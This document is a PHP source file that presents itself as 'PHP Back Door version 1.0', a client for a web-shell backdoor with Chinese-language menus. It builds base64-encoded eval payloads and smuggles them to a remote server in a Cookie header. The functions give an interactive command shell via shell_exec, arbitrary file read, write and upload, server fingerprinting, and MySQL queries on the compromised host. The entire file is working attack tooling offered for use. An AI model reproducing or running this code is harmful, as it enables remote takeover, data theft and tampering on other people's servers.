<?php
function mysql_login($post_data){
echo "MYSQL数据库管理（退出：exit）\n\n";
echo "Username:\n";
$dusername = trim(fgets(STDIN, 256));
echo "Password:\n";
$dpassword = trim(fgets(STDIN, 256));
echo "Database:\n";
$database = trim(fgets(STDIN, 256));
while(1){
echo "mysql> ";
$query = trim(fgets(STDIN, 512));
if($query == 'exit'){break;}
$send_cmd = 'error_reporting(0);$mysqli = new mysqli("localhost", "'.$dusername.'", "'.$dpassword.'", "'.$database.'");
$query="'.$query.'";
if ($mysqli->connect_errno) {
echo \'@***@\';
printf("Connect failed: %s\n", $mysqli->connect_error);
echo \'@***@\';
exit();
}
if ($result=$mysqli->query($query)) {
echo \'@***@\';
while($row=$result->fetch_array(MYSQL_ASSOC)){
$re[]=$row;
}
for($i=0;$i<$result->num_rows;$i++){
foreach($re[$i] as $k=>$v){
echo $k.\':\'.$v."\n";
}
}
echo \'@***@\';
}';
$m= base64_encode($send_cmd);
$send_cmd = 'eval(base64_decode(\''.$m.'\'))';
send_url($send_cmd,$post_data);
}
}
function file_wirte($post_data){
echo "Input filepath u want write:\n";
$path = trim(fgets(STDIN, 256));
echo "Input content u want write:\n";
$cont = trim(fgets(STDIN, 4096));
$cont = base64_encode($cont);
$send_cmd ='echo \'@***@\';$k=file_put_contents(\''.$path.'\',base64_decode(\''.$cont.'\'));echo \'写入\'.$k.\'字节\';echo \'@***@\';';
$m=base64_encode($send_cmd);
$send_cmd='eval(base64_decode(\''.$m.'\'))';
send_url($send_cmd,$post_data);
}
function sys_info($post_data){
$send_cmd='$info = array(
array("服务器时间",date("Y年m月d日 h:i:s",time())),
array("服务器IP地址",gethostbyname($_SERVER[\'SERVER_NAME\'])),
array("服务器操作系统",PHP_OS),
array("服务器解译引擎",$_SERVER[\'SERVER_SOFTWARE\']),
array("PHP版本",PHP_VERSION),);
echo \'@***@\';
for($i = 0;$i < count($info);$i++){
echo $info[$i][0].\':\'.$info[$i][1]."\n";
}
echo \'@***@\';';
$m=base64_encode($send_cmd);
$send_cmd='eval(base64_decode(\''.$m.'\'))';
send_url($send_cmd,$post_data);
}
function file_upload($post_data){
echo "本地文件path：\n";
$file1=trim(fgets(STDIN, 256));
$files=file_get_contents($file1);
echo "远程文件path：\n";
$file2=trim(fgets(STDIN, 256));
$send_cmd='echo \'@***@\';if(move_uploaded_file($_FILES[\'upfile\'][\'tmp_name\'],\''.$file2.'\')){echo \'上传成功！\';}else{echo \'上传失败！\';}echo \'@***@\';';
$m=base64_encode($send_cmd);
$send_cmd='eval(base64_decode(\''.$m.'\'))';
$post_data='filedata='.$files;
//echo $post_data;
send_url($send_cmd,$post_data);
}
function file_read($post_data){
echo 'file path:';
$filename = trim(fgets(STDIN, 256));
$send_cmd='echo \'@***@\';echo $f=file_get_contents(\''.$filename.'\');echo \'@***@\';';
$m=base64_encode($send_cmd);
$send_cmd='eval(base64_decode(\''.$m.'\'))';
send_url($send_cmd,$post_data);
}
function cmd($post_data){
echo "系统命令执行（退出：exit）\n\n";
while(1){
echo "cmdshell> ";
$comd = trim(fgets(STDIN, 512));
if($comd=='exit') {break;}
else{
$send_cmd = 'echo \'@***@\';echo $k=shell_exec(\'' . $comd . '\');echo \'@***@\';';
$m=base64_encode($send_cmd);
$send_cmd='eval(base64_decode(\''.$m.'\'))';
send_url($send_cmd,$post_data);
}
}
}
function send_url($send_cmd,$post_data){
global $host;
global $file;
$send_cmd = urlencode($send_cmd);
if($post_data){
$boundary="---------------------------".substr(md5(rand(0,32000)),0,10);
$data = "--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"upfile\"; filename=\"upfile\"\r\n\r\n";
$data .= $post_data."\r\n";
$data .= "--$boundary\r\n";
$out = "POST $file HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Content-type: multipart/form-data; boundary=$boundary\r\n"; // multipart/form-data
$out .= "Content-length: ".strlen($data)."\r\n";
$out .= "Connection: close\r\n";
$out .= "Cookie: ckey=$send_cmd; method=assert; dep=@***@\r\n\r\n";
$out .= "$data";
}
else
{
$out = "GET $file HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: ckey=$send_cmd; method=assert; dep=@***@\r\n";
$out .= "\r\n";
}
//echo $out;
send_socks($host,$out);
}
function send_socks($host,$out){
if (!$fp=fsockopen($host,80, $errno, $errstr, 10)) return false;
fwrite($fp, $out);
$str = "";
while (!feof($fp)) {
$str.=fgets($fp, 8192);
}
fclose($fp);
//echo $str;
get_result($str);
}
function get_result($str){
global $dep;
$output_start = strpos($str,$dep)+strlen($dep);
$output_end = strpos($str,$dep,$output_start);
$output = substr($str, $output_start, $output_end-$output_start);
echo $output."\n";
}
function version(){
echo "PHP Back Door version 1.0\n";
echo "\t\t\tcoded by h2y\n";
echo "1.系统信息(sysinfo)\n";
echo "2.命令执行(cmd)\n";
echo "3.文件写入(write)\n";
echo "4.文件上传(upload)\n";
echo "5.文件读取(readfile)\n";
echo "6.mysql数据库查询(mysql)\n";
echo "x.退出:exit\n";
echo "0.帮助:help\n";
}
?>
